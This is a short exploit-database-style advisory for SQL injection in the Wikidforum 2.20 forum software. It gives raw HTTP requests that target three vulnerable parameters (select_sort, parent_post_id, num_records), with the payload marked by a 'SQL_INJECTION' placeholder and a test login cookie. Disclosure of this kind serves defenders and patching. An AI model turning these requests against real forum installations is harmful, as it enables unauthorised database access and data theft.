Wikidforum 2.20 select_sort SQL Injection

`# Exploit Title: Wikidforum 2.20 - 'select_sort' SQL Injection  
# Date: 2018-10-08  
# Exploit Author: Seccops - Siber GA1/4venlik Hizmetleri (https://seccops.com)  
# Vendor Homepage: https://sourceforge.net/projects/wikidforum/  
# Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download  
# Version: 2.20  
# Tested on: Windows 10  
# Vulnerability Type: SQL Injection  
# CVE: -  
  
# Vulnerable the POST parameter in search: select_sort  
# HTTP Requests for SQLi Detection:  
  
POST /Wikidforum-com-ed.2.20/wikidforum/index.php?action=search&mode=search HTTP/1.1  
Host: localhost  
Content-Length: 428  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: null  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3  
Connection: close  
  
txtsearch=3&opt_search_select=forum&txt_author=3&search_display_field%255b%255d=post_rate&select_sort=SQL_INJECTION  
  
# Vulnerable the POST parameter in search: parent_post_id  
# HTTP Requests for SQLi Detection:  
  
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=25&parent_post_id=SQL_INJECTION HTTP/1.1  
Host: localhost  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3  
  
# Vulnerable the POST parameter in search: num_records  
# HTTP Requests for SQLi Detection:  
  
GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=SQL_INJECTION HTTP/1.1  
Host: localhost  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3  
  
`